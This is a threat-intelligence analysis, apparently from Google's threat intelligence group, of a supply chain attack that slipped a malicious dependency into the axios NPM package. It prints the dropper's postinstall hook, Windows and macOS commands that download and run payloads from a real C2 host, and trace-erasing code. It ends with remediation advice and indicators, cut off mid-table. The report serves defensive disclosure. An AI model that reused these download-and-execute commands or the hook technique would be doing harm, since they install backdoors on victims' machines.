HIGHRansomware
Global
North Korea-Nexus Threat Actor Compromises Widely Used Axios NPM Package in Supply Chain Attack
Tuesday, March 31, 2026 at 02:00 PM UTC·Source: Mandiant
Updated: Thursday, April 2, 2026 at 05:51 PM UTC
Executive Summary
<div class="block-paragraph_advanced"><p>Written by: Austin Larsen, Dima Lenz, Adrian Hernandez, Tyler McLellan, Christopher Gardner, Ashley Zaya, Michael Rudden, Mon Liclican</p> <hr/></div> <div class="block-paragraph_advanced"><h3><span style="vertical-align: baseline;">Introduction</span><strong style="vertical-align: baseline;"> </strong></h3> <p><span style="vertical-align: baseline;">Google
Analysis
<div class="block-paragraph_advanced"><p>Written by: Austin Larsen, Dima Lenz, Adrian Hernandez, Tyler McLellan, Christopher Gardner, Ashley Zaya, Michael Rudden, Mon Liclican</p> <hr/></div> <div class="block-paragraph_advanced"><h3><span style="vertical-align: baseline;">Introduction</span><strong style="vertical-align: baseline;"> </strong></h3> <p><span style="vertical-align: baseline;">Google Threat Intelligence Group (GTIG) is tracking an active software supply chain attack targeting the popular Node Package Manager (NPM) package "</span><a href="https://www.npmjs.com/package/axios" rel="noopener" target="_blank"><span style="text-decoration: underline; vertical-align: baseline;">axios</span></a><span style="vertical-align: baseline;">." Between March 31, 2026, 00:21 and 03:20 UTC, an attacker introduced a malicious dependency named "</span><code style="vertical-align: baseline;">plain-crypto-js</code>"<span style="vertical-align: baseline;"> into axios NPM releases versions 1.14.1 and 0.30.4. Axios is the most popular JavaScript library used to simplify HTTP requests, and these packages typically have over 100 million and 83 million weekly downloads, respectively. This malicious dependency is an obfuscated dropper that deploys the WAVESHAPER.V2 backdoor across Windows, macOS, and Linux.</span></p> <p><span style="vertical-align: baseline;"><span style="vertical-align: baseline;">GTIG attributes this activity to </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering"><span style="text-decoration: underline; vertical-align: baseline;">UNC1069</span></a><span style="vertical-align: baseline;">, a financially motivated North Korea-nexus threat actor active since at least 2018, based on the use of </span><span style="vertical-align: baseline;">WAVESHAPER.V2</span><span style="vertical-align: baseline;">, an updated version of </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering"><span style="text-decoration: underline; vertical-align: baseline;">WAVESHAPER</span></a><span style="vertical-align: baseline;"> previously used by this threat actor</span><span style="vertical-align: baseline;">. Further, analysis of infrastructure artifacts used in this attack shows overlaps with infrastructure used by UNC1069 in past activities</span>.</span></p> <p><span style="vertical-align: baseline;">This blog details the attack lifecycle, from the initial account compromise to the deployment of operating system (OS)-specific payloads, and provides actionable guidance for defenders to identify and mitigate this threat.</span></p> <h3><span style="vertical-align: baseline;">Campaign Overview</span></h3> <p><span style="vertical-align: baseline;">On March 31, 2026, GTIG observed the introduction of </span><code style="vertical-align: baseline;">plain-crypto-js</code><span style="vertical-align: baseline;"> version 4.2.1 as a dependency in the legitimate </span><code style="vertical-align: baseline;">axios</code><span style="vertical-align: baseline;"> package version 1.14.1. Analysis indicates the maintainer account associated with the </span><code style="vertical-align: baseline;">axios</code><span style="vertical-align: baseline;"> package was compromised, with the associated email address changed to an attacker-controlled account (</span><code style="vertical-align: baseline;">ifstap@proton.me</code><span style="vertical-align: baseline;">).</span></p> <p><span style="vertical-align: baseline;">The threat actor used the </span><code style="vertical-align: baseline;">postinstall</code><span style="vertical-align: baseline;"> hook within the "</span><code style="vertical-align: baseline;">package.json"</code><span style="vertical-align: baseline;"> file of the malicious dependency to achieve silent execution. Upon installation of the compromised </span><code style="vertical-align: baseline;">axios</code><span style="vertical-align: baseline;"> package, NPM automatically executes an obfuscated JavaScript dropper named "</span><code style="vertical-align: baseline;">setup.js"</code><span style="vertical-align: baseline;"> in the background.</span></p></div> <div class="block-paragraph_advanced"><pre class="language-plain"><code> "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node setup.js" }</code></pre></div> <div class="block-paragraph_advanced"><h3><strong style="vertical-align: baseline;">Malware </strong><span style="vertical-align: baseline;">Analysis</span><strong style="vertical-align: baseline;"> </strong></h3> <p><span style="vertical-align: baseline;">The </span><code style="vertical-align: baseline;">plain-crypto-js</code><span style="vertical-align: baseline;"> package serves as a payload delivery vehicle. The core component, SILKBELL, </span><code style="vertical-align: baseline;">setup.js</code><span style="vertical-align: baseline;"> (SHA256: </span><code style="vertical-align: baseline;">e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09</code><span style="vertical-align: baseline;">), dynamically checks the target system's operating system upon execution to deliver platform-specific payloads.</span></p> <p><span style="vertical-align: baseline;">The script uses a custom XOR and Base64-based string obfuscation routine to conceal the command-and-control (C2 or C&C) URL and host OS execution commands. To evade static analysis, it dynamically loads </span><code style="vertical-align: baseline;">fs</code><span style="vertical-align: baseline;">, </span><code style="vertical-align: baseline;">os</code><span style="vertical-align: baseline;">, and </span><code style="vertical-align: baseline;">execSync</code><span style="vertical-align: baseline;">. After successfully dropping the secondary payload, </span><code style="vertical-align: baseline;">setup.js</code><span style="vertical-align: baseline;"> attempts to delete itself and revert the modified </span><code style="vertical-align: baseline;">package.json</code><span style="vertical-align: baseline;"> to hide forensic traces of the </span><code style="vertical-align: baseline;">postinstall</code><span style="vertical-align: baseline;"> hook.</span></p> <h4><span style="vertical-align: baseline;">Operating System-Specific Execution Paths</span></h4> <p><span style="vertical-align: baseline;">Depending on the identified platform, the dropper executes the following routines.</span></p> <h5><span style="vertical-align: baseline;">Windows</span></h5> <p><span style="vertical-align: baseline;">The dropper actively hunts for the native </span><code style="vertical-align: baseline;">powershell.exe</code><span style="vertical-align: baseline;"> binary. To evade detection, it copies the legitimate executable to </span><code style="vertical-align: baseline;">%PROGRAMDATA%\wt.exe</code><span style="vertical-align: baseline;">. It then downloads a PowerShell script via </span><code style="vertical-align: baseline;">curl</code><span style="vertical-align: baseline;"> using the POST body </span><code style="vertical-align: baseline;">packages.npm.org/product1</code><span style="vertical-align: baseline;"> and saves it to the user's AppData Temp directory (e.g., </span><code style="vertical-align: baseline;">%TEMP%\6202033.ps1</code><span style="vertical-align: baseline;">). The payload is executed using a copied Windows Terminal executable with hidden and execution policy bypass flags.</span></p></div> <div class="block-paragraph_advanced"><pre class="language-plain"><code>Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%\6202033.ps1 & %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak[.]com:8000/6202033 & del ""PS_PATH"" /f", 0, False</code></pre></div> <div class="block-paragraph_advanced"><h5><span style="vertical-align: baseline;">macOS</span></h5> <p><span style="vertical-align: baseline;">The malware uses </span><code style="vertical-align: baseline;">bash</code><span style="vertical-align: baseline;"> and </span><code style="vertical-align: baseline;">curl</code><span style="vertical-align: baseline;"> to download a native Mach-O binary payload to </span><code style="vertical-align: baseline;">/Library/Caches/com.apple.act.mond</code><span style="vertical-align: baseline;"> using the POST body </span><code style="vertical-align: baseline;">packages.npm.org/product0</code><span style="vertical-align: baseline;">. It modifies permissions to make the file executable and launches it via </span><code style="vertical-align: baseline;">zsh</code><span style="vertical-align: baseline;"> in the background.</span></p></div> <div class="block-paragraph_advanced"><pre class="language-plain"><code>try do shell script " curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s http://sfrclak.com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &" &> /dev/null" " end try do shell script "rm -rf tmp/6202033"</code></pre></div> <div class="block-paragraph_advanced"><h5><span style="vertical-align: baseline;">Linux</span></h5> <p><span style="vertical-align: baseline;">The script downloads a Python backdoor to </span><code style="vertical-align: baseline;">/tmp/ld.py</code><span style="vertical-align: baseline;"> using the POST body </span><code style="vertical-align: baseline;">packages.npm.org/product2</code><span style="vertical-align: baseline;">.</span></p> <h5><span style="vertical-align: baseline;">Cleanup</span><span style="font-style: italic; vertical-align: baseline;"> </span></h5> <p><span style="vertical-align: baseline;">Aside from removing downloaded scripts in two execution branches, the script attempts to remove itself and replace an injected package.json with an original one, which was stored as "</span><code style="vertical-align: baseline;">package.md</code><span style="vertical-align: baseline;">".</span></p></div> <div class="block-paragraph_advanced"><pre class="language-plain"><code>const K = __filename; t.unlink(K, (x => {})) t.unlink('package.json', (x => {})), t.rename('package.md', 'package.json', ord)</code></pre></div> <div class="block-paragraph_advanced"><h4><span style="vertical-align: baseline;">WAVESHAPER.V2 Backdoor Capabilities</span></h4> <p><span style="vertical-align: baseline;">The platform-specific payloads ultimately deploy variants of a backdoor tracked by GTIG as WAVESHAPER.V2, a backdoor written in C++ that targets macOS to collect system information, enumerate directories, or execute additional payloads and that connects to the C2 provided via command-line arguments. Notably, GTIG identified additional variants of WAVESHAPER.V2 written in PowerShell and Python to target diverse environments. Regardless of the operating system, the malware beacons to the C2 endpoint over port 8000 at 60-second intervals. The beacon consists of Base64-encoded JSON data and uses a hard-coded User-Agent: </span></p> <p><code style="vertical-align: baseline;">mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></p> <p><span style="vertical-align: baseline;">Following the initial beaconing to the adversary infrastructure, WAVESHAPER.V2 continuously polls, pausing for 60 seconds awaiting instructions. The server response determines the next action taken by the implant. The backdoor supports multiple commands outlined in the Table 1.</span></p></div> <div class="block-paragraph_advanced"><div align="left"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"><table><colgroup><col/><col/></colgroup> <thead> <tr> <th scope="col" style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><strong style="vertical-align: baseline;">Command</strong></p> </th> <th scope="col" style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><strong style="vertical-align: baseline;">Description</strong></p> </th> </tr> </thead> <tbody> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">kill</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">Terminates the malware's execution process.</span></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">rundir</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">Retrieves detailed directory listings, including file paths, sizes, and creation/modification timestamps for paths specified in the </span><code style="vertical-align: baseline;">ReqPaths</code><span style="vertical-align: baseline;"> parameter.</span></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">runscript</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">Decodes and executes a provided AppleScript payload.</span></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">peinject</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>Decodes, drops, ad-hoc signs, and executes an arbitrary binary payload with optional parameters.</p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <div align="left" style="text-align: center;"><span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;">Table 1: WAVESHAPER.V2<span style="vertical-align: baseline;"> commands</span></span></div></div> <div class="block-paragraph_advanced"><p><span style="vertical-align: baseline;">On Windows, persistence is achieved by creating a hidden batch file (</span><code style="vertical-align: baseline;">%PROGRAMDATA%\system.bat</code><span style="vertical-align: baseline;">) and adding a new entry named </span><code style="vertical-align: baseline;">MicrosoftUpdate</code><span style="vertical-align: baseline;"> to </span><code style="vertical-align: baseline;">HKCU:\Software\Microsoft\Windows\CurrentVersion\Run</code><span style="vertical-align: baseline;"> to launch it at logon.</span></p> <p><span style="vertical-align: baseline;">WAVESHAPER.V2 acts as a fully functional RAT with the following capabilities:</span></p> <ul> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Reconnaissance:</strong><span style="vertical-align: baseline;"> Extracts system telemetry, including hostname, username, boot time, time zone, OS version, and detailed running process lists.</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Command Execution:</strong><span style="vertical-align: baseline;"> Supports multiple execution methods, including in-memory Portable Executable (PE) injection and arbitrary shell commands. The shell execution command expects a script and script parameters from C2; if no script is provided, the parameter is executed as a PowerShell command, but if a script is provided, it is either Base64-encoded or placed into a file depending on its size.</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">File System Enumeration:</strong><span style="vertical-align: baseline;"> Returns detailed metadata for requested target directories by continuously recursing through the file system.</span></p> </li> </ul> <h3><span style="vertical-align: baseline;">Attribution</span></h3> <p><span style="vertical-align: baseline;">GTIG attributes this activity to </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering"><span style="text-decoration: underline; vertical-align: baseline;">UNC1069</span></a><span style="vertical-align: baseline;">, a financially motivated North Korea-nexus threat actor active since 2018. Analysis of the C2 infrastructure (</span><code style="vertical-align: baseline;">sfrclak[.]com</code><span style="vertical-align: baseline;"> resolving to </span><code style="vertical-align: baseline;">142.11.206.73</code><span style="vertical-align: baseline;">) revealed connections from a specific AstrillVPN node previously used by UNC1069. Additionally, adjacent infrastructure hosted on the same ASN has been historically linked to UNC1069 operations.</span></p> <p><span style="vertical-align: baseline;"><span style="vertical-align: baseline;">Furthermore, WAVESHAPER.V2 is a direct evolution of </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering"><span style="text-decoration: underline; vertical-align: baseline;">WAVESHAPER</span></a><span style="vertical-align: baseline;">, a macOS and Linux backdoor previously attributed to UNC1069. While the original WAVESHAPER uses a lightweight, raw binary C2 protocol and employs code packing, WAVESHAPER.V2 communicates using JSON, collects additional system information, and supports more backdoor commands. Despite these upgrades, both versions accept their C2 URL dynamically via command-line arguments, share identical C2 polling behaviors and an uncommon User-Agent string, and deploy secondary payloads to identical temporary directories</span> (e.g., </span><code style="vertical-align: baseline;">/Library/Caches/com.apple.act.mond</code><span style="vertical-align: baseline;">).</span></p> <h3><span style="vertical-align: baseline;">Outlook and Implications</span></h3> <p><span style="vertical-align: baseline;">The impact of this attack by North Korea-nexus actors is broad and has ripple effects as other popular packages rely on axios as a dependency. Notably, UNC1069 isn’t the only threat actor that has launched successful open source supply chain attacks in recent weeks. UNC6780 (also known as TeamPCP) recently poisoned GitHub Actions and PyPI packages associated with projects like Trivy, Checkmarx, and LiteLLM to deploy the SANDCLOCK credential stealer and facilitate follow-on extortion operations. </span></p> <p><span style="vertical-align: baseline;">Hundreds of thousands of stolen secrets could potentially be circulating as a result of these recent attacks. This could enable further software supply chain attacks, software as a service (SaaS) environment compromises (leading to downstream customer compromises), ransomware and extortion events, and cryptocurrency theft over the near term. </span></p> <p><span style="vertical-align: baseline;">Supply chain compromise is a particularly dangerous tactic because it abuses the inherent trust that users and enterprise administrators place in hardware, software, and updates supplied by reputable vendors as well as the trust they may not realize they are placing in collaborative code-sharing communities. Defenders should pay close attention to these campaigns, and enterprises should initiate dedicated efforts to assess the existing impact, remediate compromised systems, and harden environments against future attacks.</span></p> <h3><span style="vertical-align: baseline;">Remediation</span><strong style="vertical-align: baseline;"> </strong></h3> <p><span style="vertical-align: baseline;">GTIG urges all developers and organizations using the axios package to take immediate corrective action. Priority should be given to auditing dependency trees for compromised versions, isolating affected hosts, and rotating any potentially exposed secrets or credentials. Following initial containment, organizations must implement long-term hardening through strict version pinning and enhanced supply-chain monitoring.</span></p> <ul> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Version Control:</strong><span style="vertical-align: baseline;"> Do not upgrade to axios version 1.14.1 or 0.30.4. Ensure corporate-managed NPM repositories are configured to serve only known-good versions (e.g., 1.14.0 or earlier; 0.30.3 or earlier).</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Dependency Pinning:</strong><span style="vertical-align: baseline;"> Pin axios to a known safe version in your </span><code style="vertical-align: baseline;">package-lock.json</code><span style="vertical-align: baseline;"> to prevent accidental upgrades.</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Malicious Package Audit:</strong><span style="vertical-align: baseline;"> Inspect project lockfiles specifically for the 'plain-crypto-js' package (versions 4.2.0 or 4.2.1). Use tools like </span><a href="https://wiz.io" rel="noopener" target="_blank"><span style="text-decoration: underline; vertical-align: baseline;">Wiz</span></a><span style="vertical-align: baseline;"> or </span><a href="https://deps.dev/" rel="noopener" target="_blank"><span style="text-decoration: underline; vertical-align: baseline;">Open Source Insights</span></a><span style="vertical-align: baseline;"> for deeper dependency auditing.</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Pipeline Security:</strong><span style="vertical-align: baseline;"> Pause CI/CD deployments for any package relying on axios. Validate that builds are not pulling "latest" versions before redeploying with pinned, safe versions. </span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Incident Response:</strong><span style="vertical-align: baseline;"> If </span><code style="vertical-align: baseline;">plain-crypto-js</code><span style="vertical-align: baseline;"> is detected, assume the host environment is compromised. Revert the environment to a known-good state and rotate all credentials or secrets present on that machine.</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Network Defense:</strong><span style="vertical-align: baseline;"> Block all traffic to sfrclak[.]com and the command & control IP: 142.11.206.73. Monitor and alert on any endpoint communication attempts to this domain.</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Cache Remediation:</strong><span style="vertical-align: baseline;"> Clear local and shared npm, yarn, and pnpm caches on all workstations and build servers to prevent re-infection during subsequent installs.</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Endpoint Protection:</strong><span style="vertical-align: baseline;"> Deploy EDR to protect developer environments. Monitor for suspicious processes spawning from Node.js applications that match known Indicators of Compromise (IOCs).</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"> <p role="presentation"><strong style="vertical-align: baseline;">Credential Management:</strong><span style="vertical-align: baseline;"> Rotate all tokens and API keys used by applications confirmed to have run indicators of compromise (IOCs).</span></p> </li> <li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"><span style="vertical-align: baseline;"><strong style="vertical-align: baseline;">Developer Sandboxing & Secret Vaulting</strong><span style="vertical-align: baseline;">: Isolate development environments in containers or sandboxes to restrict host filesystem access, and migrate plaintext secrets to the OS keychain using </span><a href="https://github.com/ByteNess/aws-vault?tab=readme-ov-file" rel="noopener" target="_blank"><span style="text-decoration: underline; vertical-align: baseline;">aws-vault</span></a><span style="vertical-align: baseline;">. This ensures compromised packages cannot programmatically scrape credentials or execute malicious scripts directly on the host machine.</span></span></li> </ul> <h3><span style="vertical-align: baseline;">Indicators of Compromise (IOCs) </span></h3> <p><span style="vertical-align: baseline;">To assist the wider community in hunting and identifying the activity outlined in this blog post, we have included IOCs in a free </span><a href="https://www.virustotal.com/gui/collection/c5adea0fa8aac14e6aabd8d3d4a1d19e4cd0eb76e679f2e9d3fed2a3170c09bb/summary" rel="noopener" target="_blank"><span style="text-decoration: underline; vertical-align: baseline;">GTI Collection</span></a><span style="vertical-align: baseline;"> for registered users.</span></p> <h4><span style="vertical-align: baseline;">Network Indicators</span></h4></div> <div class="block-paragraph_advanced"><div align="left"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"><table border="1px" cellpadding="16px" style="border-collapse: collapse; width: 100%;"><colgroup><col/><col/><col/></colgroup> <tbody> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><strong style="vertical-align: baseline;">Indicator</strong></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><strong style="vertical-align: baseline;">Type </strong></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><strong style="vertical-align: baseline;">Notes </strong></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">142.11.206.73</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">C2</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>WAVESHAPER.V2</p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">sfrclak[.]com</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">C2</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>WAVESHAPER.V2</p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">http://sfrclak[.]com:8000</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">C2</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>WAVESHAPER.V2</p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">http://sfrclak[.]com:8000/6202033</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">C2</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>WAVESHAPER.V2</p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><code style="vertical-align: baseline;">23.254.167.216</code></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">C2</span></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><span style="vertical-align: baseline;">Suspected UNC1069 Infrastructure</span></p> </td> </tr> </tbody> </table></div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div></div> <div class="block-paragraph_advanced"><h4>File Indicators</h4></div> <div class="block-paragraph_advanced"><div align="left"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"> <div style="color: #5f6368; overflow-x: auto; overflow-y: hidden; width: 100%;"><table><colgroup><col/><col/><col/></colgroup> <tbody> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><strong style="vertical-align: baseline;">Family</strong></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><strong style="vertical-align: baseline;">Notes</strong></p> </td> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p><strong style="vertical-align: baseline;">SHA256</strong></p> </td> </tr> <tr> <td style="vertical-align: middle; border: 1px solid #000000; padding: 16px;"> <p>WAVESHAPER.V2</p> </td> <td 